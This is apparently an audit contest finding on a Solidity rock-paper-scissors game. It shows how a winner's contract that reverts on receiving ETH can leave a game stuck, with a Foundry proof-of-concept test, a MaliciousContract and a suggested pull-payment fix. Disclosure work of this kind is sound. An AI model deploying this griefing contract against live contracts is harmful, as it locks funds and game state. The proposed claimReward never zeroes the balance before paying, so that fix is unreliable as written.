Submission Details
Severity:
Winning player can revert on receiving ETH, causing game state to be stuck
Summary
When totalTurns has been played or if RockPaperScissors::timeoutReveal is called (if the opponent does not reveal after timeout), RockPaperScissors::_finishGame is executed. In an ETH game, this sends the winning player their reward. But if the winning player is a malicious contract which reverts on receiving ETH, the game state is unable to reach the Finished state.
PoC
Place the following into RockPaperScissorsTest.t.sol and run
forge test --mt testRevertOnReceivingETH
MaliciousContract maliciousContract;
function testRevertOnReceivingETH() public {
RockPaperScissors.Move moveA;
RockPaperScissors.Move moveB;
bytes32 saltA;
bytes32 saltB;
// 1. Player A creates ETH game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// 2. Player B deploys malicious contract, funds malicious contract and joins the game
vm.startPrank(playerB);
maliciousContract = new MaliciousContract(address(game));
address(maliciousContract).call{value: playerB.balance}("");
(,, uint256 betAmount,,,,,,,,,,,,,) = game.games(gameId);
maliciousContract.joinGameWithEth(gameId, betAmount);
vm.stopPrank();
uint256 balanceBefore = address(maliciousContract).balance;
// 3. Player B wins game
// Player B wins first turn
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Paper);
playerAReveal(gameId, moveA, saltA);
playerBReveal(gameId, moveB, saltB);
// Player B wins second turn
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Paper);
playerAReveal(gameId, moveA, saltA);
playerBReveal(gameId, moveB, saltB);
// Player B wins third turn
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Paper);
playerBReveal(gameId, moveB, saltB);
vm.prank(playerB);
maliciousContract.flipTriggerRevert();
vm.expectRevert();
playerAReveal(gameId, moveA, saltA);
// 4. Player B/Malicious contract does not receive rewards
uint256 balanceAfter = address(maliciousContract).balance;
assertEq(balanceBefore, balanceAfter);
// 5. Game state is stuck and cannot reach `Finished`
(,,,,,,,,,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint8(state), uint8(RockPaperScissors.GameState.Committed));
assertNotEq(uint8(state), uint8(RockPaperScissors.GameState.Finished));
}
function playerACommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerA);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(move), saltA));
game.commitMove(_gameId, commitA);
return(move, saltA);
}
function playerBCommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerB);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(move), saltB));
maliciousContract.commitMove(_gameId, commitB);
return(move, saltB);
}
function playerAReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltA) public {
vm.prank(playerA);
game.revealMove(_gameId, uint8(move), saltA);
}
function playerBReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltB) public {
vm.prank(playerB);
maliciousContract.revealMove(_gameId, uint8(move), saltB);
}
contract MaliciousContract {
address game;
address owner;
bool triggerRevert;
constructor(address _game){
game = _game;
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "only owner can call this");
_;
}
function joinGameWithEth(uint256 _gameId, uint256 betAmount) external onlyOwner {
game.call{value: betAmount}(abi.encodeWithSignature("joinGameWithEth(uint256)", _gameId));
}
function commitMove(uint256 _gameId, bytes32 _commitHash) external onlyOwner {
game.call(abi.encodeWithSignature("commitMove(uint256,bytes32)", _gameId, _commitHash));
}
function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external onlyOwner {
game.call(abi.encodeWithSignature("revealMove(uint256,uint8,bytes32)", _gameId, _move, _salt));
}
function flipTriggerRevert() external onlyOwner {
triggerRevert = !triggerRevert;
}
receive() external payable {
if (triggerRevert){
revert();
}
}
}
Impact
Impact: Medium, winning player does not receive their rewards, game state is stuck
Likelihood: Low, there is no benefit for winning player to not receive the reward
Severity: Low
Tools Used
Manual review
Recommendations
Use a pull-over-push approach to distribute rewards
+ mapping(address => uint256) public claimable;
.
.
.
+ function claimReward() public {
+ uint256 rewardAmount = claimable[msg.sender];
+ (bool success,) = msg.sender.call{value: rewardAmount}("");
+ require(success, "claimReward failed");
+ }
.
.
.
function _finishGame(uint256 _gameId, address _winner) internal {
Game storage game = games[_gameId];
game.state = GameState.Finished;
uint256 prize = 0;
// Handle ETH prizes
if (game.bet > 0) {
// Calculate total pot and fee
uint256 totalPot = game.bet * 2;
uint256 fee = (totalPot * PROTOCOL_FEE_PERCENT) / 100;
prize = totalPot - fee;
// Accumulate fees for admin to withdraw later
accumulatedFees += fee;
emit FeeCollected(_gameId, fee);
// Send prize to winner
- (bool success,) = _winner.call{value: prize}("");
- require(success, "Transfer failed");
+ claimable[_winner] += prize;
}
// Handle token prizes - winner gets both tokens
if (game.bet == 0) {
// Mint a winning token
winningToken.mint(_winner, 2);
} else {
// Mint a winning token for ETH games too
winningToken.mint(_winner, 1);
}
emit GameFinished(_gameId, _winner, prize);
}
Updates
Appeal created
m3dython about 2 months ago
Submission Judgement Published Assigned finding tags:
Denial of Service (DoS) due to Unhandled External Call Revert
Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail
m3dython about 2 months ago
Submission Judgement Published Assigned finding tags:
Denial of Service (DoS) due to Unhandled External Call Revert
Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail
Rewards breakdown
nSLOC
349This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.